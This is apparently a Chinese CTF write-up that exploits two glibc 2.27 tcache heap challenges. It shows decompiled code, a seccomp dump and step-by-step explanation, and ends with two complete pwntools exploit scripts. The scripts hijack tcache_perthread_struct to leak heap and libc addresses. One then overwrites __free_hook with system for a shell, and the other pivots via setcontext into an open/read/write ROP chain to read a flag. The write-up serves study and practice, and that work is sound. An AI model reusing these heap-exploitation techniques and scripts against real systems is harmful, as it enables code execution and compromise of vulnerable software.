/* We overlay this structure on the user-data portion of a chunk when the chunk is stored in the per-thread cache. */ typedef struct tcache_entry { struct tcache_entry *next; } tcache_entry; /* There is one of these for each thread, which contains the per-thread cache (hence "tcache_perthread_struct"). Keeping overall size low is mildly important. Note that COUNTS and ENTRIES are redundant (we could have just counted the linked list each time), this is for performance reasons. */ typedef struct tcache_perthread_struct { char counts[TCACHE_MAX_BINS]; tcache_entry *entries[TCACHE_MAX_BINS]; } tcache_perthread_struct;
TCACHE_MAX_BINS: # define TCACHE_MAX_BINS 64
堆地址的第一个chunk:
tcache_perthread_struct的chunk头:0x11字节
counts数组一共占用64字节,每个字节对应着一个链表,用来存放对应链表中存放着chunk的数量 0x40
entry指针数组是用来存储每个链表中链表头的chunk地址,一共占用864字节 0x408
正好0x251字节
plmalloc 是根据 count 数组中对应值来判断存放 chunk 的数量的
指向的是chunk的fd地址 而非首地址
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3) { __int64 v3[5]; // [rsp+0h] [rbp-28h] BYREF v3[1] = __readfsqword(0x28u); setbuf(a1, a2, a3); while ( 1 ) { puts("1. allocate"); puts("2. edit"); puts("3. show"); puts("4. delete"); puts("5. exit"); __printf_chk(1LL, "Your choice: "); __isoc99_scanf(&unk_F44, v3); switch ( v3[0] ) { case 1LL: add(); break; case 2LL: edit(); break; case 3LL: show(); break; case 4LL: delete(); break; case 5LL: exit(0); default: puts("Unknown"); break; } } }
unsigned __int64 add() { size_t v1; // rbx void *v2; // rax size_t size; // [rsp+0h] [rbp-18h] BYREF unsigned __int64 v4; // [rsp+8h] [rbp-10h] v4 = __readfsqword(0x28u); __printf_chk(1LL, "Index: "); __isoc99_scanf(&unk_F44, &size); if ( !size ) //这里只有idx=0 才能往下执行 { __printf_chk(1LL, "Size: "); __isoc99_scanf(&unk_F44, &size); v1 = size; if ( size > 0x78 ) //size < 0x78 { __printf_chk(1LL, "Too large"); } else { v2 = malloc(size); if ( v2 ) { qword_202050 = v1; buf = v2; puts("Done!"); } else { puts("allocate failed"); } } } return __readfsqword(0x28u) ^ v4; }
unsigned __int64 edit() { _BYTE *v0; // rbx char *v1; // rbp __int64 v3; // [rsp+0h] [rbp-28h] BYREF unsigned __int64 v4; // [rsp+8h] [rbp-20h] v4 = __readfsqword(0x28u); __printf_chk(1LL, "Index: "); __isoc99_scanf(&unk_F44, &v3); if ( !v3 ) //这里也一样 { if ( buf ) { __printf_chk(1LL, "Content: "); v0 = buf; if ( qword_202050 ) { v1 = (char *)buf + qword_202050; while ( 1 ) { read(0, v0, 1uLL); if ( *v0 == 10 ) break; if ( ++v0 == v1 ) return __readfsqword(0x28u) ^ v4; } *v0 = 0; } } } return __readfsqword(0x28u) ^ v4; }
unsigned __int64 show() { __int64 v1; // [rsp+0h] [rbp-18h] BYREF unsigned __int64 v2; // [rsp+8h] [rbp-10h] v2 = __readfsqword(0x28u); __printf_chk(1LL, "Index: "); __isoc99_scanf(&unk_F44, &v1); if ( !v1 && buf ) __printf_chk(1LL, "Content: %s\n", (const char *)buf); return __readfsqword(0x28u) ^ v2; }
unsigned __int64 delete() { __int64 v1; // [rsp+0h] [rbp-18h] BYREF unsigned __int64 v2; // [rsp+8h] [rbp-10h] v2 = __readfsqword(0x28u); __printf_chk(1LL, "Index: "); __isoc99_scanf(&unk_F44, &v1); if ( !v1 && buf ) free(buf); return __readfsqword(0x28u) ^ v2; }
这个题限制了索引为0,只能对最近的chunk进行操作,而且申请的chunk不能大于0x78,但是能够修改fd指针,所以这里用劫持tcache_perthread_struct结构体的方式来泄露libc,然后打一个free_hook
add(0x60) delete() edit(p64(0)*2)
首先覆盖一下key值
delete() show() heap_addr=u64(p.recvuntil('\x0a',drop = True)[-6:].ljust(8,'\x00'))-0x260 leak('heap_addr ',heap_addr)
然后直接double free泄露堆地址
add(0x60) edit(p64(heap_addr+0x10))
去改一下fd指针
add(0x60) add(0x60) edit(p64(0)*4+p64(0x7000000))
把0x250大小地tcache bin链表数量改为7
delete() show() libc_base=u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-0x3ebca0 leak('libc_base ',libc_base) free_hook = libc_base + libc.sym['__free_hook'] leak('free_hook ',free_hook) system = libc_base + libc.sym['system'] add(0x60) edit(p64(0)*8+p64(free_hook))
然后先释放一下最开始的0x251的chunk,泄露出libc地址,然后申请一下这个chunk再去修改entry指针
tcachebins 的 0x20链表处已经成功把 free_hook 写入了
add(0x10) edit(p64(system))
成功把 free_hook 修改成system
add(0x20) edit('/bin/sh\x00')
import os import sys import time from pwn import * from ctypes import * context.os = 'linux' context.log_level = "debug" s = lambda data :p.send(str(data)) sa = lambda delim,data :p.sendafter(str(delim), str(data)) sl = lambda data :p.sendline(str(data)) sla = lambda delim,data :p.sendlineafter(str(delim), str(data)) r = lambda num :p.recv(num) ru = lambda delims, drop=True :p.recvuntil(delims, drop) itr = lambda :p.interactive() uu32 = lambda data :u32(data.ljust(4,b'\x00')) uu64 = lambda data :u64(data.ljust(8,b'\x00')) leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr)) l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00")) l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00")) context.terminal = ['gnome-terminal','-x','sh','-c'] x64_32 = 1 if x64_32: context.arch = 'amd64' else: context.arch = 'i386' #p=process("./pwn") p=process(['ld-2.27.so','./pwn'],env={"LD_PRELOAD":'./libc-2.27.so'}) #p=remote('node4.anna.nssctf.cn',28167) elf = ELF('./pwn') libc=ELF('./libc-2.27.so') #libc=ELF('/lib/x86_64-linux-gnu/libc.so.6') def menu(idx): sla('Your choice: ',str(idx)) def duan(): gdb.attach(p) pause() def add(size): menu(1) sla('Index: ',str(0)) sla('Size: ',str(size)) def edit(content): menu(2) sla('Index: ',str(0)) sla('Content: ',content) def show(): menu(3) sla('Index: ',str(0)) def delete(): menu(4) sla('Index: ',str(0)) add(0x60) delete() edit(p64(0)*2) delete() show() heap_addr=u64(p.recvuntil('\x0a',drop = True)[-6:].ljust(8,'\x00'))-0x260 leak('heap_addr ',heap_addr) add(0x60) edit(p64(heap_addr+0x10)) add(0x60) add(0x60) edit(p64(0)*4+p64(0x7000000)) delete() show() libc_base=u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-0x3ebca0 leak('libc_base ',libc_base) free_hook = libc_base + libc.sym['__free_hook'] leak('free_hook ',free_hook) system = libc_base + libc.sym['system'] add(0x60) edit(p64(0)*8+p64(free_hook)) duan() add(0x10) edit(p64(system)) add(0x20) edit('/bin/sh\x00') delete() ''' ''' #duan() itr()
堆题中开启沙箱后,我们很容易可以构造orw的ROP链,但是调用是个问题,这时候就有了setcontext这种攻击手法,
函数实现:
它的作用是通过 rdi 寄存器附近的地址里的值来给设置各个寄存器的值
通常从 setcontext + 53 开始使用,
也就是 mov rsp, [rdi+0A0h] 开始
上面的 fldenv byte pte [rcx] 会造成程序执行时直接 crash
rsp的值由rdi决定的,rdi非常好控制了 我们执行free函数 rdi的值就是被释放的chunk的用户区地址
只控制rsp是没有作用的,因为他不能够执行,我们需要把rop链弹到rip里面,这里就需要ret指令,最后确实有ret指令
.text:00000000000521D7 48 8B 8F A8 00 00 00 mov rcx, [rdi+0A8h]
.text:00000000000521DE 51 push rcx
实际上是给我们的rip赋值
.text:00000000000521FD 31 C0 xor eax, eax
rax最后会被设置为0
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x07 0xc000003e if (A != ARCH_X86_64) goto 0009
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x04 0xffffffff if (A != 0xffffffff) goto 0009
0005: 0x15 0x02 0x00 0x00000000 if (A == read) goto 0008
0006: 0x15 0x01 0x00 0x00000001 if (A == write) goto 0008
0007: 0x15 0x00 0x01 0x00000002 if (A != open) goto 0009
0008: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0009: 0x06 0x00 0x00 0x00000000 return KILL
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3) { __int64 v3[5]; // [rsp+0h] [rbp-28h] BYREF v3[1] = __readfsqword(0x28u); setbuf(); while ( 1 ) { puts("1. allocate"); puts("2. edit"); puts("3. show"); puts("4. delete"); puts("5. exit"); __printf_chk(1LL, "Your choice: "); __isoc99_scanf(&unk_1144, v3); switch ( v3[0] ) { case 1LL: add(); break; case 2LL: edit(); break; case 3LL: show(); break; case 4LL: delete(); break; case 5LL: exit(0); default: puts("Unknown"); break; } } }
unsigned __int64 add() { size_t v1; // rbx void *v2; // rax size_t size; // [rsp+0h] [rbp-18h] BYREF unsigned __int64 v4; // [rsp+8h] [rbp-10h] v4 = __readfsqword(0x28u); __printf_chk(1LL, "Index: "); __isoc99_scanf(&unk_1144, &size); if ( !size ) { __printf_chk(1LL, "Size: "); __isoc99_scanf(&unk_1144, &size); v1 = size; if ( size > 0x78 ) { __printf_chk(1LL, "Too large"); } else { v2 = malloc(size); if ( v2 ) { qword_202050 = v1; buf = v2; puts("Done!"); } else { puts("allocate failed"); } } } return __readfsqword(0x28u) ^ v4; }
unsigned __int64 edit() { _BYTE *v0; // rbx char *v1; // rbp __int64 v3; // [rsp+0h] [rbp-28h] BYREF unsigned __int64 v4; // [rsp+8h] [rbp-20h] v4 = __readfsqword(0x28u); __printf_chk(1LL, "Index: "); __isoc99_scanf(&unk_1144, &v3); if ( !v3 ) { if ( buf ) { __printf_chk(1LL, "Content: "); v0 = buf; if ( qword_202050 ) { v1 = buf + qword_202050; while ( 1 ) { read(0, v0, 1uLL); if ( *v0 == 0xA ) break; if ( ++v0 == v1 ) return __readfsqword(0x28u) ^ v4; } *v0 = 0; } } } return __readfsqword(0x28u) ^ v4; }
unsigned __int64 show() { __int64 v1; // [rsp+0h] [rbp-18h] BYREF unsigned __int64 v2; // [rsp+8h] [rbp-10h] v2 = __readfsqword(0x28u); __printf_chk(1LL, "Index: "); __isoc99_scanf(&unk_1144, &v1); if ( !v1 && buf ) __printf_chk(1LL, "Content: %s\n"); return __readfsqword(0x28u) ^ v2; }
unsigned __int64 delete() { __int64 v1; // [rsp+0h] [rbp-18h] BYREF unsigned __int64 v2; // [rsp+8h] [rbp-10h] v2 = __readfsqword(0x28u); __printf_chk(1LL, "Index: "); __isoc99_scanf(&unk_1144, &v1); if ( !v1 && buf ) free(buf); return __readfsqword(0x28u) ^ v2; }
思路就是开启了沙箱,然后限制了申请堆块的大小要小于等于 0x78 ,同时只能对最近的一个堆块进行操作,直接修改tcache_pethread_struct结构体,用orw打就可以
开启沙箱本身会有一些chunk
这里我们选取tcachebins未使用的0x30的链来做题
add(0x28) delete() edit(p64(0)*2)
首先还是覆盖一下key
delete() show() k=u64(p.recvuntil('\x0a',drop=True)[-6:].ljust(8,'\x00')) heap_addr=(k&0xffffffffff000)-0x1000
泄露出来的堆地址经过简单运算得出堆的基地址
add(0x28) edit(p64(heap_addr+0x10))
把 tcache 结构体链入0x30的 tcache bin 链中
add(0x28) add(0x28) edit(p64(0)*4+p64(0x7000000))
申请出来直接修改结构体
delete() show() libc_base=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x3ebca0 free_hook=libc_base+libc.sym['__free_hook'] setcontext=libc_base+libc.sym['setcontext']+53
成功释放到unsorted bin中
add(0x48) edit(p64(0)*8+p64(heap_addr+0x50))
再次从tcache 结构体中申请chunk 然后再次修改 entry指针
add(0x18) edit(p64(0)*2+p64(heap_addr+0x50))
然后再次申请修改0x40的链表,以便后续申请修改更多的数据
add(0x38) pl=p64(free_hook)+p64(heap_addr+0x1000)+p64(heap_addr+0x10a0) pl+=p64(heap_addr+0x1000)+p64(heap_addr+0x2000)+p64(0)+p64(heap_addr+0x2000+0x58) edit(pl)
能够修改足够多的数据后,再次修改tcache 结构体
0x20: 修改free_hook
0x30: heap_addr+0x1000 写入'./flag\x00\x00'
0x40: heap_addr+0x10a0 迁移到堆上的rop链
0x50: heap_addr+0x1000 后续调用
0x60: heap_addr+0x2000 写入orw 前一部分
0x70: 无作用
0x80: heap_addr+0x2000+0x58 写入orw剩下的一部分
add(0x18) edit(p64(setcontext)) add(0x28) edit('./flag\x00\x00') add(0x38) edit(p64(heap_addr+0x2000)+p64(ret)) rax=0x000000000001b500+libc_base rdi=0x000000000002164f+libc_base rsi=0x0000000000023a6a+libc_base rdx=0x0000000000001b96+libc_base ret=0x00000000000008aa+libc_base syscall=libc_base+libc.sym['alarm']+0x5 flag_addr=heap_addr+0x1000 rop_open=p64(rdi)+p64(flag_addr) rop_open+=p64(rsi)+p64(0) rop_open+=p64(rax)+p64(2) rop_open+=p64(syscall) rop_read=p64(rdi)+p64(3) rop_read+=p64(rsi)+p64(flag_addr) rop_read+=p64(rdx)+p64(0x100) rop_read+=p64(rax)+p64(0) rop_read+=p64(syscall) rop_write=p64(rdi)+p64(1) rop_write+=p64(rsi)+p64(flag_addr) rop_write+=p64(rdx)+p64(0x100) rop_write+=p64(rax)+p64(1) rop_write+=p64(syscall) pl=rop_open+rop_read+rop_write add(0x58) edit(pl[:0x58]) add(0x78) edit(pl[0x58:])
成功写入rop链
成功读取
import os import sys import time from pwn import * from ctypes import * context.os = 'linux' context.log_level = "debug" s = lambda data :p.send(str(data)) sa = lambda delim,data :p.sendafter(str(delim), str(data)) sl = lambda data :p.sendline(str(data)) sla = lambda delim,data :p.sendlineafter(str(delim), str(data)) r = lambda num :p.recv(num) ru = lambda delims, drop=True :p.recvuntil(delims, drop) itr = lambda :p.interactive() uu32 = lambda data :u32(data.ljust(4,b'\x00')) uu64 = lambda data :u64(data.ljust(8,b'\x00')) leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr)) l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00")) l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00")) context.terminal = ['gnome-terminal','-x','sh','-c'] x64_32 = 1 if x64_32: context.arch = 'amd64' else: context.arch = 'i386' #p=process('./pwn') p=process(['ld-2.27.so',"./pwn"],env={"LD_PRELOAD":'./libc-2.27.so'}) #p=remote('node3.anna.nssctf.cn',28438) elf = ELF('./pwn') libc=ELF('./libc-2.27.so') #libc=ELF('/lib/x86_64-linux-gnu/libc-2.23.so') def add(size): sla('Your choice: ','1') sla('Index: ','0') sla('Size: ',str(size)) def edit(content): sla('Your choice: ','2') sla('Index: ','0') sla('Content: ',content) def show(): sla(b'Your choice: ','3') sla('Index: ','0') def delete(): sla('Your choice: ','4') sla('Index: ','0') def duan(): gdb.attach(p) pause() add(0x28) delete() edit(p64(0)*2) delete() add(0x28) show() k=u64(p.recvuntil("\x0a",drop = True)[-6:].ljust(8,b'\x00')) heap_addr=(k&0xfffffffff000)-0x1000 leak('heap_addr ',heap_addr) edit(p64(heap_addr+0x10)) add(0x28) add(0x28) edit(p64(0)*4+p64(0x7000000)) delete() show() libc_addr=u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-0x3ebca0 leak("libc_addr :",libc_addr) free_hook = libc_addr + libc.sym['__free_hook'] setcontext = libc_addr + libc.sym['setcontext'] + 53 add(0x48) edit(p64(0)*8+p64(heap_addr+0x50)) add(0x18) edit(p64(0)*2+p64(heap_addr+0x50)) add(0x38) payload = p64(free_hook)+p64(heap_addr+0x1000)+p64(heap_addr+0x1000+0xa0) #0x20 0x30 0x40 payload += p64(heap_addr+0x1000)+p64(heap_addr+0x2000)+p64(0)+p64(heap_addr+0x2000+0x58) #0x50 0x60 0x70 0x80 edit(payload) ret_addr = libc_addr + 0x00000000000008aa rdi_addr = libc_addr + 0x000000000002164f rsi_addr = libc_addr + 0x0000000000023a6a rdx_addr = libc_addr + 0x0000000000001b96 rax_addr = libc_addr + 0x000000000001b500 syscall = libc_addr + libc.sym['alarm']+0x5 # ret_addr = libc_addr + 0x0000000000023eeb # rdi_addr = libc_addr + 0x00000000000215bf # rsi_addr = libc_addr + 0x0000000000023eea # rdx_addr = libc_addr + 0x0000000000001b96 # rax_addr = libc_addr + 0x0000000000043ae8 # syscall = libc_addr + libc.sym['alarm']+0x5 add(0x18)# edit(p64(setcontext)) add(0x28)# edit('./flag\x00\x00') add(0x38)# edit(p64(heap_addr+0x2000)+p64(ret_addr)) #open flag_addr = heap_addr + 0x1000 rop_open = p64(rdi_addr)+p64(flag_addr) rop_open += p64(rsi_addr)+p64(0) rop_open += p64(rax_addr)+p64(2) rop_open += p64(syscall) #read rop_read = p64(rdi_addr)+p64(3) rop_read += p64(rsi_addr)+p64(flag_addr) rop_read += p64(rdx_addr)+p64(0x30) rop_read += p64(rax_addr)+p64(0) rop_read += p64(syscall) #write rop_write = p64(rdi_addr)+p64(1) rop_write += p64(rsi_addr)+p64(flag_addr) rop_write += p64(rdx_addr)+p64(0x30) rop_write += p64(rax_addr)+p64(1) rop_write += p64(syscall) payload = rop_open+rop_read+rop_write add(0x58) # edit(payload[:0x58]) add(0x78) # edit(payload[0x58:]) add(0x48) #gdb.attach(p,'b *'+str(heap_addr+0x2000)) #pause(0) ''' ''' delete() print(p.recv()) #duan() itr()